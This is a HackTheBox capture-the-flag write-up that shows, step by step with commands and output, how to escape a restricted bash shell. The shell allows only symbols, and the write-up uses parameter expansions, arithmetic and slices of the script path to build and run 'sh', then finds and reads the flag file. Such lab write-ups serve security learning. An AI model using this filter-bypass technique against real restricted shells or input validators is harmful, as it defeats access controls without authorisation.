Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
HackTheBox/Challenges/Challenge Utterly Broken Shell.en.md READ_ONLY

Challenge Utterly Broken Shell

This challenge consists of spawning a working shell by bypassing a severely restricted bash environment and the solution consists of extracting characters from the script's path using parameter expansions and mathematical operations to construct and execute the sh command.

The target environment is highly constrained, restricting user input to a minimal set of characters: ${}!_=:() and spaces. Connecting to the remote service reveals the customized shell interface and confirms the enforced regex filter.

$ nc 154.57.164.61 31113
TERM environment variable not set.

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⠀⣀⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡴⠦⣤⣴⡟⠉⠉⡗⠚⡇⠀⠈⡷⢤⠖⠒⠲⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢀⣀⡇⠀⠀⢸⠀⡇⠀⠀⠇⠀⡇⠀⠀⡇⢸⠀⠀⢠⠋⡝⠉⠓⢦⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⢠⠊⠁⢣⢰⠀⠀⠈⡆⢳⠀⠀⠀⠀⡇⠀⢸⠀⡇⠀⠀⡜⢰⠃⠀⠀⡜⢦⢤⣀⠀⠀⠀⠀⠀
⠀⠀⠀⡠⢴⠻⡀⠀⠈⡎⡇⠀⠀⢃⢸⠀⠀⢸⠀⡇⠀⢸⢀⡇⠀⢠⠃⡎⠀⠀⡼⢡⠃⠀⠙⡆⠀⠀⠀⠀
⠀⠀⢸⠁⠀⢣⢱⡀⠀⢸⣸⡀⠀⢸⠈⡄⠀⢸⠀⡇⠀⠘⢸⠀⠀⡸⢰⠁⠀⢰⢡⠏⠀⠀⡜⡿⢤⡀⠀⠀
⠀⣠⠞⣷⡄⠀⢣⢣⠀⠀⢧⢇⠀⠈⡆⡇⠀⢸⠀⡇⠀⡇⡼⠀⢀⠇⡏⠀⢠⢇⠎⠀⢀⡜⡜⠁⠀⢳⠀⠀
⢸⡁⠀⠈⢻⣦⠀⢫⢧⠀⠘⡾⡄⠀⣇⢡⠀⢸⠀⡇⠀⡇⡇⠀⣸⢸⠀⢀⠏⡜⠀⢀⢎⠞⠀⢀⡴⡻⡄⠀
⣰⠻⣆⠀⠀⠻⣷⡀⢻⣇⠀⢹⢧⠀⢸⢸⠀⢸⠀⡇⢠⢿⠃⠀⡇⡇⠀⡜⡾⠀⢠⢾⠎⠀⡰⢫⠞⠀⡟⠀
⢹⣅⠙⢷⣄⠀⠙⣷⡀⢻⡄⠈⣿⡄⠘⡞⡆⢸⠀⡇⢸⢸⠀⢸⣸⠀⡸⡽⠁⢠⣯⠋⣠⣾⡖⢁⡠⠚⣿⡄
⠘⣏⠳⣄⠙⣦⡀⠘⢧⠀⢻⡄⠸⣧⠀⠇⡇⢸⠀⡇⢸⡌⠀⣇⠇⢰⣱⠁⣠⡻⢃⡴⡷⢋⡴⢋⡤⣺⠇⠀
⠀⢹⡕⢄⠑⢌⠛⢦⠈⢣⡀⢻⡀⢳⠀⢸⢳⢸⠀⡇⣎⡇⢸⠽⢠⠇⠁⣰⡿⢡⣾⢞⣴⣯⡔⣫⢴⠟⠀⠀
⠀⠀⠙⢦⣝⢦⡑⢄⠳⣌⠳⡈⢧⠈⡆⠸⣼⠸⡀⡇⡏⠁⡏⢀⠎⠀⡰⠉⡱⠋⡡⣫⣞⣽⣋⣴⠟⠀⠀⠀
⠀⠀⠀⠀⠉⠻⢿⣮⡳⣌⢦⡱⡌⣆⢸⠀⡟⡆⡇⡇⡇⢸⠁⡜⠀⡼⠁⡜⠁⣪⠞⣿⡵⠟⠉⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⡾⣾⣷⣵⡜⡜⡄⠇⢣⡇⡇⢳⠁⡎⠀⠀⡼⢁⠞⠠⢾⡵⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣷⠈⠛⢿⣾⣾⣾⠘⠈⠁⠇⠀⠀⠁⠀⠾⠁⢀⣤⠞⢫⡗⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠘⢧⣄⠀⠙⠿⣟⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠛⣡⡴⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠒⠦⠬⠷⢄⡀⠀⠀⠀⣠⠴⠟⠚⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠒⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

[*] Allowed characters: ^[${}![:space:]:_=()]+$
Broken@Shell$

To break out of the restricted shell, it is necessary to craft functional commands without utilizing traditional alphanumeric characters. The built-in $_ variable stores the last argument of the previously executed command. By executing $_ twice, the shell passes an empty parameter to itself, which implicitly defaults to the echo command.

$ ${_} ${_}
echo

Storing this command reference in a variable allows further interaction without directly typing any letters.

$ __=${_}

Testing an uninitialized variable or unknown command triggers an error that exposes the underlying script's absolute execution path: /home/restricted_user/broken_shell.sh.

$ __
/home/restricted_user/broken_shell.sh: line 41: __: command not found

With the script path exposed, extracting characters from this path becomes a viable vector to construct new commands. Character extraction requires numeric values, which can be synthesized using arithmetic expansion on uninitialized variables. Evaluating an empty variable yields the number zero.

$ $(( ____ ))
/home/restricted_user/broken_shell.sh: line 41: 0: command not found

This generated value is safely stored in a new variable.

$ ____=$(( ____ ))

Applying a logical negation to the zero generates the number one, opening the door for iterative parameter expansion operations like string shifting or slicing.

$ $(( ! ____ ))
/home/restricted_user/broken_shell.sh: line 41: 1: command not found

Utilizing indirect expansion on the variable containing zero executes the underlying script again, reloading the initial prompt context.

$ ${!____}
TERM environment variable not set.

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⠀⣀⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡴⠦⣤⣴⡟⠉⠉⡗⠚⡇⠀⠈⡷⢤⠖⠒⠲⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢀⣀⡇⠀⠀⢸⠀⡇⠀⠀⠇⠀⡇⠀⠀⡇⢸⠀⠀⢠⠋⡝⠉⠓⢦⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⢠⠊⠁⢣⢰⠀⠀⠈⡆⢳⠀⠀⠀⠀⡇⠀⢸⠀⡇⠀⠀⡜⢰⠃⠀⠀⡜⢦⢤⣀⠀⠀⠀⠀⠀
⠀⠀⠀⡠⢴⠻⡀⠀⠈⡎⡇⠀⠀⢃⢸⠀⠀⢸⠀⡇⠀⢸⢀⡇⠀⢠⠃⡎⠀⠀⡼⢡⠃⠀⠙⡆⠀⠀⠀⠀
⠀⠀⢸⠁⠀⢣⢱⡀⠀⢸⣸⡀⠀⢸⠈⡄⠀⢸⠀⡇⠀⠘⢸⠀⠀⡸⢰⠁⠀⢰⢡⠏⠀⠀⡜⡿⢤⡀⠀⠀
⠀⣠⠞⣷⡄⠀⢣⢣⠀⠀⢧⢇⠀⠈⡆⡇⠀⢸⠀⡇⠀⡇⡼⠀⢀⠇⡏⠀⢠⢇⠎⠀⢀⡜⡜⠁⠀⢳⠀⠀
⢸⡁⠀⠈⢻⣦⠀⢫⢧⠀⠘⡾⡄⠀⣇⢡⠀⢸⠀⡇⠀⡇⡇⠀⣸⢸⠀⢀⠏⡜⠀⢀⢎⠞⠀⢀⡴⡻⡄⠀
⣰⠻⣆⠀⠀⠻⣷⡀⢻⣇⠀⢹⢧⠀⢸⢸⠀⢸⠀⡇⢠⢿⠃⠀⡇⡇⠀⡜⡾⠀⢠⢾⠎⠀⡰⢫⠞⠀⡟⠀
⢹⣅⠙⢷⣄⠀⠙⣷⡀⢻⡄⠈⣿⡄⠘⡞⡆⢸⠀⡇⢸⢸⠀⢸⣸⠀⡸⡽⠁⢠⣯⠋⣠⣾⡖⢁⡠⠚⣿⡄
⠘⣏⠳⣄⠙⣦⡀⠘⢧⠀⢻⡄⠸⣧⠀⠇⡇⢸⠀⡇⢸⡌⠀⣇⠇⢰⣱⠁⣠⡻⢃⡴⡷⢋⡴⢋⡤⣺⠇⠀
⠀⢹⡕⢄⠑⢌⠛⢦⠈⢣⡀⢻⡀⢳⠀⢸⢳⢸⠀⡇⣎⡇⢸⠽⢠⠇⠁⣰⡿⢡⣾⢞⣴⣯⡔⣫⢴⠟⠀⠀
⠀⠀⠙⢦⣝⢦⡑⢄⠳⣌⠳⡈⢧⠈⡆⠸⣼⠸⡀⡇⡏⠁⡏⢀⠎⠀⡰⠉⡱⠋⡡⣫⣞⣽⣋⣴⠟⠀⠀⠀
⠀⠀⠀⠀⠉⠻⢿⣮⡳⣌⢦⡱⡌⣆⢸⠀⡟⡆⡇⡇⡇⢸⠁⡜⠀⡼⠁⡜⠁⣪⠞⣿⡵⠟⠉⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⡾⣾⣷⣵⡜⡜⡄⠇⢣⡇⡇⢳⠁⡎⠀⠀⡼⢁⠞⠠⢾⡵⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣷⠈⠛⢿⣾⣾⣾⠘⠈⠁⠇⠀⠀⠁⠀⠾⠁⢀⣤⠞⢫⡗⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠘⢧⣄⠀⠙⠿⣟⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠛⣡⡴⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠒⠦⠬⠷⢄⡀⠀⠀⠀⣠⠴⠟⠚⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠒⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

[*] Allowed characters: ^[${}![:space:]:_=()]+$

Since the environment resets, the essential numbers and commands must be swiftly re-assigned.

$ __=${_}
$ ____=$(( ____ ))

Using the indirect expansion, the absolute script path is captured into a primary variable.

$ ______=${!____}

This primary variable is copied to preserve the original path string intact while operations are performed.

$ ________=${______}

Through Bash parameter expansion, the path string is shifted iteratively using the generated numeric variables. The first shift isolates the character 'h', which is safely extracted and stored in a dedicated variable.

$ ________=${________:$(( !____ ))}
$ _________=${________:____:$(( !____ ))}

Subsequent left shifts progressively trim the string until the character 's' is reached.

$ ________=${________:$(( !____ ))}
$ ________=${________:$(( !____ ))}
$ ________=${________:$(( !____ ))}
$ ________=${________:$(( !____ ))}
$ ________=${________:$(( !____ ))}
$ ________=${________:$(( !____ ))}
$ ________=${________:$(( !____ ))}

Once correctly aligned, the character 's' is successfully stored in another distinct variable.

$ __________=${________:____:$(( !____ ))}

By concatenating the meticulously extracted 's' and 'h' characters, the sh command is dynamically formulated and executed. This provides a fully functional shell environment unaffected by the original regex restrictions.

$ ${__________}${_________}
sh: 0: can't access tty; job control turned off
$

A standard search across the filesystem localizes the hidden file containing the target flag.

$ find / -name 'flag*' 2>/dev/null
find / -name 'flag*' 2>/dev/null
/home/restricted_user/flag_you_found_it_gg
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.3/tty/ttyS3/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.1/tty/ttyS1/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.2/tty/ttyS2/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.0/tty/ttyS0/flags
/sys/devices/virtual/net/ip6tnl0/flags
/sys/devices/virtual/net/sit0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/tunl0/flags
/sys/devices/virtual/net/eth0/flags

Reading the file ultimately reveals the required flag.

$ cat /home/restricted_user/flag_you_found_it_gg
cat /home/restricted_user/flag_you_found_it_gg
'This file contains the flag. The problem is that it is not on the first line so you have to read the whole file to get it :) '
'
HTB{FLAG}$